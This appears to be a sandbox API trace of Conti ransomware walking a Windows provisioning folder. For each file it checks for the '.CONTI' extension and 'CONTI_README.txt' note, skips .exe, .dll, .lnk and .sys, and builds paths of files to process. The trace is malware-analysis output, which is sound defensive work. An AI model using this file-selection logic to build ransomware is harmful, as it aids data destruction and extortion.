	[0108.180] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.180] lstrlenW (lpString="192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0108.180] GetProcessHeap () returned 0x1720000
	[0108.180] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x17bc3e0
	[0108.180] lstrcpyW (in: lpString1=0x17bc3e0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.180] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.180] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\192__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0108.180] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90732eea, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90732eea, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90732eea, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml", cAlternateFileName="193__C~1.PRO")) returned 1
	[0108.180] lstrcmpiW (lpString1="193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.180] lstrcmpiW (lpString1="193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.180] StrStrIW (lpFirst="193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.180] StrStrIW (lpFirst="193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.180] StrStrIW (lpFirst="193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.180] StrStrIW (lpFirst="193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.180] StrStrIW (lpFirst="193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.180] StrStrIW (lpFirst="193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.180] StrStrIW (lpFirst="193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.180] StrStrIW (lpFirst="193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.180] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.180] lstrlenW (lpString="193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml") returned 64
	[0108.180] GetProcessHeap () returned 0x1720000
	[0108.180] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x136) returned 0x6588808
	[0108.180] lstrcpyW (in: lpString1=0x6588808, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.181] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.181] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml"
	[0108.181] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90759156, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90759156, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90759156, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml", cAlternateFileName="194__C~1.PRO")) returned 1
	[0108.181] lstrcmpiW (lpString1="194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.181] lstrcmpiW (lpString1="194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.181] StrStrIW (lpFirst="194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.181] StrStrIW (lpFirst="194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.181] StrStrIW (lpFirst="194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.181] StrStrIW (lpFirst="194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.181] StrStrIW (lpFirst="194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.181] StrStrIW (lpFirst="194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.181] StrStrIW (lpFirst="194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.181] StrStrIW (lpFirst="194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.181] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.181] lstrlenW (lpString="194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml") returned 64
	[0108.181] GetProcessHeap () returned 0x1720000
	[0108.181] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x136) returned 0x6588950
	[0108.181] lstrcpyW (in: lpString1=0x6588950, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.181] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.181] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml"
	[0108.181] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90759156, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90759156, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90759156, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x286, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="195__C~1.PRO")) returned 1
	[0108.181] lstrcmpiW (lpString1="195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.181] lstrcmpiW (lpString1="195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.181] StrStrIW (lpFirst="195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.181] StrStrIW (lpFirst="195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.181] StrStrIW (lpFirst="195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.181] StrStrIW (lpFirst="195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.181] StrStrIW (lpFirst="195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.181] StrStrIW (lpFirst="195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.181] StrStrIW (lpFirst="195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.182] StrStrIW (lpFirst="195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.182] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.182] lstrlenW (lpString="195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml") returned 69
	[0108.182] GetProcessHeap () returned 0x1720000
	[0108.182] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x6587f10
	[0108.182] lstrcpyW (in: lpString1=0x6587f10, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.182] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.182] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\195__Connections_Cellular_Indosat (Indonesia)_i0$(__MVID)@WAP.provxml"
	[0108.182] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90759156, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90759156, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90759156, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x286, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml", cAlternateFileName="196__C~1.PRO")) returned 1
	[0108.182] lstrcmpiW (lpString1="196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.182] lstrcmpiW (lpString1="196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.182] StrStrIW (lpFirst="196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.182] StrStrIW (lpFirst="196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.182] StrStrIW (lpFirst="196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.182] StrStrIW (lpFirst="196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.182] StrStrIW (lpFirst="196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.182] StrStrIW (lpFirst="196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.182] StrStrIW (lpFirst="196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.182] StrStrIW (lpFirst="196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.182] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.182] lstrlenW (lpString="196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml") returned 69
	[0108.182] GetProcessHeap () returned 0x1720000
	[0108.182] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x140) returned 0x6589b40
	[0108.182] lstrcpyW (in: lpString1=0x6589b40, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.182] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.182] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml"
	[0108.182] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90759156, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90759156, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90759156, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d1, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="197__C~1.PRO")) returned 1
	[0108.182] lstrcmpiW (lpString1="197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.182] lstrcmpiW (lpString1="197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.182] StrStrIW (lpFirst="197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.183] StrStrIW (lpFirst="197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.183] StrStrIW (lpFirst="197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.183] StrStrIW (lpFirst="197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.183] StrStrIW (lpFirst="197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.183] StrStrIW (lpFirst="197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.183] StrStrIW (lpFirst="197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.183] StrStrIW (lpFirst="197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.183] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.183] lstrlenW (lpString="197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml") returned 71
	[0108.183] GetProcessHeap () returned 0x1720000
	[0108.183] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x144) returned 0x17d0bb0
	[0108.183] lstrcpyW (in: lpString1=0x17d0bb0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.183] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.183] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml"
	[0108.184] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90759156, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90759156, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90759156, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cd, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml", cAlternateFileName="198__C~1.PRO")) returned 1
	[0108.184] lstrcmpiW (lpString1="198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.184] lstrcmpiW (lpString1="198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.184] StrStrIW (lpFirst="198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.184] StrStrIW (lpFirst="198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.184] StrStrIW (lpFirst="198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.184] StrStrIW (lpFirst="198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.184] StrStrIW (lpFirst="198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.184] StrStrIW (lpFirst="198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.184] StrStrIW (lpFirst="198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.184] StrStrIW (lpFirst="198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.184] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.184] lstrlenW (lpString="198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml") returned 71
	[0108.184] GetProcessHeap () returned 0x1720000
	[0108.184] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x144) returned 0x181dde0
	[0108.184] lstrcpyW (in: lpString1=0x181dde0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.184] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.184] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml"
	[0108.184] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9077f3c5, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9077f3c5, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9077f3c5, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="199__C~1.PRO")) returned 1
	[0108.184] lstrcmpiW (lpString1="199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.184] lstrcmpiW (lpString1="199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.184] StrStrIW (lpFirst="199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.184] StrStrIW (lpFirst="199__Connections_Cellular_Vodafone (Indonesia)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
